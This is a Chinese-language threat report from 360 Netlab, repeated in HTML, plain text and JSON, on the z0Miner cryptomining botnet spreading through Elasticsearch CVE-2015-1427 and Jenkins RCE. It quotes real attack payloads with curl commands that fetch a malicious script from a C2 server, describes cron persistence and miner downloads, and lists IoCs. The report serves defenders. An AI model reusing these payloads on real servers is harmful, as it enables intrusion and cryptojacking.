威胁快讯：z0Miner 正在利用 ElasticSearch 和 Jenkins 漏洞大肆传播
<h2 id="-"><strong><strong>版权</strong></strong></h2><p>版权声明: 本文为Netlab原创，依据<strong> <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></strong> 许可证进行授权，转载请附上出处链接及本声明。</p><h2 id="--1"><strong>概述</strong></h2><p>最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，<strong>z0Miner</strong> 就是其中一例。</p><p><strong>z0Miner</strong> 是去年开始活跃的一个恶意挖矿家族，<a href="https://s.tencent.com/research/report/1170.html">业界已有公开的分析</a>。<strong>z0Miner</strong> 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。</p><p>近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 <strong>z0Miner</strong> 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/status.png" class="kg-image" alt loading="lazy"></figure><h2 id="--2"><strong>漏洞利用情况</strong></h2><h3 id="elasticsearch-rce-cve-2015-1427"><strong>ElasticSearch RCE 漏洞 CVE-2015-1427</strong></h3><p>虽然是个 2015 年的老漏洞，<strong>z0Miner</strong> 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)：</p><pre><code>POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}
</code></pre><h3 id="jenkins-script-console-rce-"><strong>Jenkins script console RCE 漏洞</strong></h3><p>该漏洞被曝光的时间比上面的 <strong>CVE-2015-1427</strong> 更早一些，<strong>z0Miner</strong> 利用它来传播的 Payload 如下：</p><pre><code>POST /{VULN_URL} HTTP/1.1
Host: {target}:{port}

curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&amp;json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&amp;Submit=Run
</code></pre><h2 id="--3"><strong>样本分析</strong></h2><h3 id="-shell-"><strong>初始 Shell 脚本</strong></h3><p>上述两个漏洞利用的 Payload，核心逻辑都是下载 <code>hxxp://27.1.1.34:8080/docs/conf.txt</code> 并执行。该文件为恶意 Shell 脚本，对应于 <strong>z0Miner</strong> 早期的 <strong>z0.txt</strong>。其运行逻辑与早期 <strong>z0.txt</strong> 基本一致：</p><ol><li>Kill 竞争对手；</li><li>设置 Cron 任务；</li><li>下载&amp;执行挖矿套件。</li></ol><h3 id="cron-"><strong>Cron 任务</strong></h3><p>同早期一样， <strong>z0Miner</strong> 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下：</p><pre><code>hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
</code></pre><p>目前，以上 URL 下载到的脚本内容只有一个 <code>exit</code> 命令，不排除以后会加入更多恶意动作。</p><h3 id="--4"><strong>挖矿</strong></h3><p>在 Kill 一批竞争对手、设置好 Cron 任务后， <strong>conf.txt</strong> 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿：</p><pre><code>hxxp://27.1.1.34:8080/docs/config.json     --&gt; Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe   --&gt; XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh         --&gt; Miner Starter Shell script file
</code></pre><p><strong>solr.sh</strong> 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。</p><p><strong>config.json</strong> 文件中的 XMR Wallet 与早期 <strong>z0Mner</strong> 的 Wallet 不同，现为：</p><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
</code></pre><p>目前已挖到 XMR 超 22 枚：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/xmr_paid.png" class="kg-image" alt loading="lazy"></figure><h3 id="--5"><strong><strong>处置建议</strong></strong></h3><p>我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。<br>我们建议读者对相关 IP 和 URL 进行监控和封锁。</p><h3 id="--6"><strong><strong>联系我们</strong></strong></h3><p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong><strong>twitter</strong></strong></a> 或者通过邮件<strong><strong>netlab[at]360.cn</strong></strong>联系我们。</p><h2 id="ioc"><strong>IoC</strong></h2><h3 id="cc"><strong>C&amp;C</strong></h3><pre><code>27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV
178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean
</code></pre><h3 id="url"><strong>URL</strong></h3><pre><code>hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh
</code></pre><h3 id="md5"><strong>MD5</strong></h3><pre><code>84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9
</code></pre><h3 id="xrm-wallet"><strong>XRM Wallet</strong></h3><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7</code></pre>
版权

版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。


概述

最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，z0Miner 就是其中一例。

z0Miner 是去年开始活跃的一个恶意挖矿家族，业界已有公开的分析。z0Miner 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。

近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 z0Miner 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下：


漏洞利用情况


ElasticSearch RCE 漏洞 CVE-2015-1427

虽然是个 2015 年的老漏洞，z0Miner 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)：

POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}



Jenkins script console RCE 漏洞

该漏洞被曝光的时间比上面的 CVE-2015-1427 更早一些，z0Miner 利用它来传播的 Payload 如下：

POST /{VULN_URL} HTTP/1.1
Host: {target}:{port}

curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run



样本分析


初始 Shell 脚本

上述两个漏洞利用的 Payload，核心逻辑都是下载 hxxp://27.1.1.34:8080/docs/conf.txt 并执行。该文件为恶意 Shell 脚本，对应于 z0Miner 早期的 z0.txt。其运行逻辑与早期 z0.txt 基本一致：

 1. Kill 竞争对手；
 2. 设置 Cron 任务；
 3. 下载&执行挖矿套件。


Cron 任务

同早期一样， z0Miner 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下：

hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt


目前，以上 URL 下载到的脚本内容只有一个 exit 命令，不排除以后会加入更多恶意动作。


挖矿

在 Kill 一批竞争对手、设置好 Cron 任务后， conf.txt 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿：

hxxp://27.1.1.34:8080/docs/config.json     --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe   --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh         --> Miner Starter Shell script file


solr.sh 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。

config.json 文件中的 XMR Wallet 与早期 z0Mner 的 Wallet 不同，现为：

49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7


目前已挖到 XMR 超 22 枚：


处置建议

我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。
我们建议读者对相关 IP 和 URL 进行监控和封锁。


联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。


IoC


C&C

27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV
178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean



URL

hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh



MD5

84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9



XRM Wallet

49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
{"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/03/status.png","alt":"","title":""}],["code",{"code":"POST /{VULN_URI} HTTP/1.1\nHost: {target}:{port}\n\n{...exec(\\\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\\\")...}\n"}],["code",{"code":"POST /{VULN_URL} HTTP/1.1\nHost: {target}:{port}\n\ncurl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run\n"}],["code",{"code":"hxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/config.json     --> Mining Config file\nhxxp://178.62.202.152:8080/Wuck/java.exe   --> XMRig Miner\nhxxp://27.1.1.34:8080/docs/solr.sh         --> Miner Starter Shell script file\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/xmr_paid.png","alt":"","title":""}],["code",{"code":"27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV\n178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/conf.txt\nhxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\nhxxp://27.1.1.34:8080/docs/config.json\nhxxp://178.62.202.152:8080/Wuck/java.exe\nhxxp://178.62.202.152:8080/Wuck/xmrig.exe\nhxxp://27.1.1.34:8080/docs/solr.sh\n"}],["code",{"code":"84417ff134484bb8ce4ff567574beaa5\nc1dcc75d729e31833892cb649f450568\nadb190c4e90cc61ca266cfda355826df\nd833fc2ced5d0791a404ced14ecf4e20\n26a91e9a94c7f8d966de1541095a3d92\n373b018bef17e04d8ff29472390403f9\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7"}]],"markups":[["strong"],["a",["href","https://creativecommons.org/licenses/by-sa/4.0/"]],["a",["href","https://s.tencent.com/research/report/1170.html"]],["code"],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"h2",[[0,[0,0],2,"版权"]]],[1,"p",[[0,[],0,"版权声明: 本文为Netlab原创，依据"],[0,[0],0," "],[0,[1],2,"CC BY-SA 4.0"],[0,[],0," 许可证进行授权，转载请附上出处链接及本声明。"]]],[1,"h2",[[0,[0],1,"概述"]]],[1,"p",[[0,[],0,"最近几个月受比特币、门罗币大涨的刺激，各种挖矿家族纷纷活跃起来，我们的 BotMon 系统每天都能检测到几十上百起的挖矿类 Botnet 攻击事件。根据我们统计，它们多数是已经出现过的老家族，有的只是换了新的钱包或者传播方式，"],[0,[0],1,"z0Miner"],[0,[],0," 就是其中一例。"]]],[1,"p",[[0,[0],1,"z0Miner"],[0,[],0," 是去年开始活跃的一个恶意挖矿家族，"],[0,[2],1,"业界已有公开的分析"],[0,[],0,"。"],[0,[0],1,"z0Miner"],[0,[],0," 最初活跃时，利用 Weblogic 未授权命令执行漏洞进行传播。"]]],[1,"p",[[0,[],0,"近期，360 网络安全研究院 Anglerfish 蜜罐系统监测到 "],[0,[0],1,"z0Miner"],[0,[],0," 又利用 ElasticSearch 和 Jenkins 的远程命令执行漏洞进行大肆传播，近期活跃趋势如下："]]],[10,0],[1,"h2",[[0,[0],1,"漏洞利用情况"]]],[1,"h3",[[0,[0],1,"ElasticSearch RCE 漏洞 CVE-2015-1427"]]],[1,"p",[[0,[],0,"虽然是个 2015 年的老漏洞，"],[0,[0],1,"z0Miner"],[0,[],0," 仍然利用它进行大肆传播。漏洞利用 Payload 如下(已抹除关键细节)："]]],[10,1],[1,"h3",[[0,[0],1,"Jenkins script console RCE 漏洞"]]],[1,"p",[[0,[],0,"该漏洞被曝光的时间比上面的 "],[0,[0],1,"CVE-2015-1427"],[0,[],0," 更早一些，"],[0,[0],1,"z0Miner"],[0,[],0," 利用它来传播的 Payload 如下："]]],[10,2],[1,"h2",[[0,[0],1,"样本分析"]]],[1,"h3",[[0,[0],1,"初始 Shell 脚本"]]],[1,"p",[[0,[],0,"上述两个漏洞利用的 Payload，核心逻辑都是下载 "],[0,[3],1,"hxxp://27.1.1.34:8080/docs/conf.txt"],[0,[],0," 并执行。该文件为恶意 Shell 脚本，对应于 "],[0,[0],1,"z0Miner"],[0,[],0," 早期的 "],[0,[0],1,"z0.txt"],[0,[],0,"。其运行逻辑与早期 "],[0,[0],1,"z0.txt"],[0,[],0," 基本一致："]]],[3,"ol",[[[0,[],0,"Kill 竞争对手；"]],[[0,[],0,"设置 Cron 任务；"]],[[0,[],0,"下载&执行挖矿套件。"]]]],[1,"h3",[[0,[0],1,"Cron 任务"]]],[1,"p",[[0,[],0,"同早期一样， "],[0,[0],1,"z0Miner"],[0,[],0," 仍会通过设置 Cron 任务定期下载、执行 Pastebin 上的恶意脚本，最新的恶意脚本 URL 如下："]]],[10,3],[1,"p",[[0,[],0,"目前，以上 URL 下载到的脚本内容只有一个 "],[0,[3],1,"exit"],[0,[],0," 命令，不排除以后会加入更多恶意动作。"]]],[1,"h3",[[0,[0],1,"挖矿"]]],[1,"p",[[0,[],0,"在 Kill 一批竞争对手、设置好 Cron 任务后， "],[0,[0],1,"conf.txt"],[0,[],0," 会从以下 3 个 URL 下载挖矿套件，启动矿机挖矿："]]],[10,4],[1,"p",[[0,[0],1,"solr.sh"],[0,[],0," 文件是一个专门负责 Kill 更多竞争对手、启动矿机程序的 Shell 脚本文件。"]]],[1,"p",[[0,[0],1,"config.json"],[0,[],0," 文件中的 XMR Wallet 与早期 "],[0,[0],1,"z0Mner"],[0,[],0," 的 Wallet 不同，现为："]]],[10,5],[1,"p",[[0,[],0,"目前已挖到 XMR 超 22 枚："]]],[10,6],[1,"h3",[[0,[0,0],2,"处置建议"]]],[1,"p",[[0,[],0,"我们建议 ElasticEearch 和 Jenkins 用户及时检查并更新，同时检查是否存在异常进程和网络连接。"],[1,[],0,0],[0,[],0,"我们建议读者对相关 IP 和 URL 进行监控和封锁。"]]],[1,"h3",[[0,[0,0],2,"联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以在 "],[0,[4,0,0],3,"twitter"],[0,[],0," 或者通过邮件"],[0,[0,0],2,"netlab[at]360.cn"],[0,[],0,"联系我们。"]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"h3",[[0,[0],1,"C&C"]]],[10,7],[1,"h3",[[0,[0],1,"URL"]]],[10,8],[1,"h3",[[0,[0],1,"MD5"]]],[10,9],[1,"h3",[[0,[0],1,"XRM Wallet"]]],[10,10]],"ghostVersion":"3.0"}